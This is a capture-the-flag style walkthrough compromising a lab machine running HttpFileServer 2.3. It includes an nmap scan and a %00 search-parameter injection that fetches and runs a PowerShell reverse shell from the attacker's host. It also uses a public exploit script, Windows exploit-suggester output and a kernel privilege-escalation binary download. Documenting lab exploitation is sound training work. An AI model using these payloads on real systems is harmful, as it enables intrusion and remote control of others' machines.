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Vulnerable Exploit: Remote Code Execution

System Vulnerable: 10.10.10.8

Vulnerability Explanation: The machine is vulnerable to remote code execution which exploit code was publicly.

Privilege Escalation Vulnerability: Out of dated version

Vulnerability Fix:

Severity:

Step to Compromise the Host:

Reconnaissance

└─$ nmap -p- -sC -sV -T4 10.10.10.8 -Pn
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-05 10:46 EDT
Nmap scan report for 10.10.10.8
Host is up (0.046s latency).
Not shown: 65534 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Enumeration

We just found only 1 port open on the machine. We can see the version of the application is HTTPFileServer 2.3.

By searching on google, this version is vulnerable to remote command execution attack due to a poor regex in the file ParserLib.pas. It allow remote attacks to execute arbitrary programs via %00 sequence in a search action.

Proof of Concept Code: https://www.exploit-db.com/exploits/49584

http://{rhost}:{rport}/?search=%00{{.{encoded_payload}.}}

Let start manual test first, inserting %00 in the search field and send it through burp proxy.

Let start tcpdump to capture the traffic coming through tun0 (VPN connection).

tcpdump -i tun0

Let start execute command ping to our kali machine through burp and see the traffic. As we can the traffic coming from our machine ping to our kali machine.

#1 Exploitation (Manual)

Let start replace ping command to execute remote code execute script. We can grab and edit reverse shell script from nishang which running in powershell script.

# Insert this line at the end of the script
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.31 -Port 4444

Let start netcat listener on port 4444 and start up HTTP Server with python3 to share file.

nc -lvp 4444
python3 -m http.server 80

Then, execute command on burp to download and execute the reverse shell script.

# Before Encode
GET /?search=%00{.exec|c:\windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/Invoke-PowerShellTcp.ps1').} HTTP/1.1

# After Encode
GET /?search=%00{.exec|c%3a\windows\SysNative\WindowsPowershell\v1.0\powershell.exe+IEX(New-Object+Net.WebClient).downloadString('http%3a//10.10.14.31/Invoke-PowerShellTcp.ps1').} HTTP/1.1

#2 Exploitation (Script)

Proof of concept code: https://www.exploit-db.com/exploits/49584

Searching for public exploit, we found python script which could exploit this vulnerable.

We just need to replace IP address and Port accordingly to our situation.

Let start our netcat listener on port 4444 and execute the payload.

nc -lvp 4444
python3 49584.py

#1 Priv-Esc

We can enumerating with Windows-Exploit-Suggester.py to check for vulnerable.

# Update the database 
└─$ python windows-exploit-suggester.py -u

└─$ python windows-exploit-suggester.py -d 2021-11-06-mssb.xls -i systeminfo.txt 
[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (ascii)
[*] querying database file for potential vulnerabilities
[*] comparing the 32 hotfix(es) against the 266 potential bulletins(s) with a database of 137 known exploits
[*] there are now 246 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 2012 R2 64-bit'
[*] 
[E] MS16-135: Security Update for Windows Kernel-Mode Drivers (3199135) - Important
[*]   https://www.exploit-db.com/exploits/40745/ -- Microsoft Windows Kernel - win32k Denial of Service (MS16-135)
[*]   https://www.exploit-db.com/exploits/41015/ -- Microsoft Windows Kernel - 'win32k.sys' 'NtSetWindowLongPtr' Privilege Escalation (MS16-135) (2)
[*]   https://github.com/tinysec/public/tree/master/CVE-2016-7255
[*] 
[E] MS16-098: Security Update for Windows Kernel-Mode Drivers (3178466) - Important
[*]   https://www.exploit-db.com/exploits/41020/ -- Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098)
[*] 
[M] MS16-075: Security Update for Windows SMB Server (3164038) - Important
[*]   https://github.com/foxglovesec/RottenPotato
[*]   https://github.com/Kevin-Robertson/Tater
[*]   https://bugs.chromium.org/p/project-zero/issues/detail?id=222 -- Windows: Local WebDAV NTLM Reflection Elevation of Privilege
[*]   https://foxglovesecurity.com/2016/01/16/hot-potato/ -- Hot Potato - Windows Privilege Escalation
[*] 
[E] MS16-074: Security Update for Microsoft Graphics Component (3164036) - Important
[*]   https://www.exploit-db.com/exploits/39990/ -- Windows - gdi32.dll Multiple DIB-Related EMF Record Handlers Heap-Based Out-of-Bounds Reads/Memory Disclosure (MS16-074), PoC
[*]   https://www.exploit-db.com/exploits/39991/ -- Windows Kernel - ATMFD.DLL NamedEscape 0x250C Pool Corruption (MS16-074), PoC
[*] 
[E] MS16-063: Cumulative Security Update for Internet Explorer (3163649) - Critical
[*]   https://www.exploit-db.com/exploits/39994/ -- Internet Explorer 11 - Garbage Collector Attribute Type Confusion (MS16-063), PoC
[*] 
[E] MS16-032: Security Update for Secondary Logon to Address Elevation of Privile (3143141) - Important
[*]   https://www.exploit-db.com/exploits/40107/ -- MS16-032 Secondary Logon Handle Privilege Escalation, MSF
[*]   https://www.exploit-db.com/exploits/39574/ -- Microsoft Windows 8.1/10 - Secondary Logon Standard Handles Missing Sanitization Privilege Escalation (MS16-032), PoC
[*]   https://www.exploit-db.com/exploits/39719/ -- Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (PowerShell), PoC
[*]   https://www.exploit-db.com/exploits/39809/ -- Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (C#)
[*] 
[M] MS16-016: Security Update for WebDAV to Address Elevation of Privilege (3136041) - Important
[*]   https://www.exploit-db.com/exploits/40085/ -- MS16-016 mrxdav.sys WebDav Local Privilege Escalation, MSF
[*]   https://www.exploit-db.com/exploits/39788/ -- Microsoft Windows 7 - WebDAV Privilege Escalation Exploit (MS16-016) (2), PoC
[*]   https://www.exploit-db.com/exploits/39432/ -- Microsoft Windows 7 SP1 x86 - WebDAV Privilege Escalation (MS16-016) (1), PoC
[*] 
[E] MS16-014: Security Update for Microsoft Windows to Address Remote Code Execution (3134228) - Important
[*]   Windows 7 SP1 x86 - Privilege Escalation (MS16-014), https://www.exploit-db.com/exploits/40039/, PoC
[*] 
[E] MS16-007: Security Update for Microsoft Windows to Address Remote Code Execution (3124901) - Important
[*]   https://www.exploit-db.com/exploits/39232/ -- Microsoft Windows devenum.dll!DeviceMoniker::Load() - Heap Corruption Buffer Underflow (MS16-007), PoC
[*]   https://www.exploit-db.com/exploits/39233/ -- Microsoft Office / COM Object DLL Planting with WMALFXGFXDSP.dll (MS-16-007), PoC
[*] 
[E] MS15-132: Security Update for Microsoft Windows to Address Remote Code Execution (3116162) - Important
[*]   https://www.exploit-db.com/exploits/38968/ -- Microsoft Office / COM Object DLL Planting with comsvcs.dll Delay Load of mqrt.dll (MS15-132), PoC
[*]   https://www.exploit-db.com/exploits/38918/ -- Microsoft Office / COM Object els.dll DLL Planting (MS15-134), PoC
[*] 
[E] MS15-112: Cumulative Security Update for Internet Explorer (3104517) - Critical
[*]   https://www.exploit-db.com/exploits/39698/ -- Internet Explorer 9/10/11 - CDOMStringDataList::InitFromString Out-of-Bounds Read (MS15-112)
[*] 
[E] MS15-111: Security Update for Windows Kernel to Address Elevation of Privilege (3096447) - Important
[*]   https://www.exploit-db.com/exploits/38474/ -- Windows 10 Sandboxed Mount Reparse Point Creation Mitigation Bypass (MS15-111), PoC
[*] 
[E] MS15-102: Vulnerabilities in Windows Task Management Could Allow Elevation of Privilege (3089657) - Important
[*]   https://www.exploit-db.com/exploits/38202/ -- Windows CreateObjectTask SettingsSyncDiagnostics Privilege Escalation, PoC
[*]   https://www.exploit-db.com/exploits/38200/ -- Windows Task Scheduler DeleteExpiredTaskAfter File Deletion Privilege Escalation, PoC
[*]   https://www.exploit-db.com/exploits/38201/ -- Windows CreateObjectTask TileUserBroker Privilege Escalation, PoC
[*] 
[E] MS15-097: Vulnerabilities in Microsoft Graphics Component Could Allow Remote Code Execution (3089656) - Critical
[*]   https://www.exploit-db.com/exploits/38198/ -- Windows 10 Build 10130 - User Mode Font Driver Thread Permissions Privilege Escalation, PoC
[*]   https://www.exploit-db.com/exploits/38199/ -- Windows NtUserGetClipboardAccessToken Token Leak, PoC
[*] 
[M] MS15-078: Vulnerability in Microsoft Font Driver Could Allow Remote Code Execution (3079904) - Critical
[*]   https://www.exploit-db.com/exploits/38222/ -- MS15-078 Microsoft Windows Font Driver Buffer Overflow
[*] 
[E] MS15-052: Vulnerability in Windows Kernel Could Allow Security Feature Bypass (3050514) - Important
[*]   https://www.exploit-db.com/exploits/37052/ -- Windows - CNG.SYS Kernel Security Feature Bypass PoC (MS15-052), PoC
[*] 
[M] MS15-051: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (3057191) - Important
[*]   https://github.com/hfiref0x/CVE-2015-1701, Win32k Elevation of Privilege Vulnerability, PoC
[*]   https://www.exploit-db.com/exploits/37367/ -- Windows ClientCopyImage Win32k Exploit, MSF
[*] 
[E] MS15-010: Vulnerabilities in Windows Kernel-Mode Driver Could Allow Remote Code Execution (3036220) - Critical
[*]   https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows 8.1 - win32k Local Privilege Escalation (MS15-010), PoC
[*]   https://www.exploit-db.com/exploits/37098/ -- Microsoft Windows - Local Privilege Escalation (MS15-010), PoC
[*]   https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows win32k Local Privilege Escalation (MS15-010), PoC
[*] 
[E] MS15-001: Vulnerability in Windows Application Compatibility Cache Could Allow Elevation of Privilege (3023266) - Important
[*]   http://www.exploit-db.com/exploits/35661/ -- Windows 8.1 (32/64 bit) - Privilege Escalation (ahcache.sys/NtApphelpCacheControl), PoC
[*] 
[E] MS14-068: Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780) - Critical
[*]   http://www.exploit-db.com/exploits/35474/ -- Windows Kerberos - Elevation of Privilege (MS14-068), PoC
[*] 
[M] MS14-064: Vulnerabilities in Windows OLE Could Allow Remote Code Execution (3011443) - Critical
[*]   https://www.exploit-db.com/exploits/37800// -- Microsoft Windows HTA (HTML Application) - Remote Code Execution (MS14-064), PoC
[*]   http://www.exploit-db.com/exploits/35308/ -- Internet Explorer OLE Pre-IE11 - Automation Array Remote Code Execution / Powershell VirtualAlloc (MS14-064), PoC
[*]   http://www.exploit-db.com/exploits/35229/ -- Internet Explorer <= 11 - OLE Automation Array Remote Code Execution (#1), PoC
[*]   http://www.exploit-db.com/exploits/35230/ -- Internet Explorer < 11 - OLE Automation Array Remote Code Execution (MSF), MSF
[*]   http://www.exploit-db.com/exploits/35235/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python, MSF
[*]   http://www.exploit-db.com/exploits/35236/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution, MSF
[*] 
[M] MS14-060: Vulnerability in Windows OLE Could Allow Remote Code Execution (3000869) - Important
[*]   http://www.exploit-db.com/exploits/35055/ -- Windows OLE - Remote Code Execution 'Sandworm' Exploit (MS14-060), PoC
[*]   http://www.exploit-db.com/exploits/35020/ -- MS14-060 Microsoft Windows OLE Package Manager Code Execution, MSF
[*] 
[M] MS14-058: Vulnerabilities in Kernel-Mode Driver Could Allow Remote Code Execution (3000061) - Critical
[*]   http://www.exploit-db.com/exploits/35101/ -- Windows TrackPopupMenu Win32k NULL Pointer Dereference, MSF
[*] 
[E] MS13-101: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (2880430) - Important
[M] MS13-090: Cumulative Security Update of ActiveX Kill Bits (2900986) - Critical
[*] done

Proof of Concept Code: https://www.exploit-db.com/exploits/41020/

Going through the exploit-db, it provides with the link to download binary file to execute on window. We can download and transfer it to our victim machine.

wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41020.exe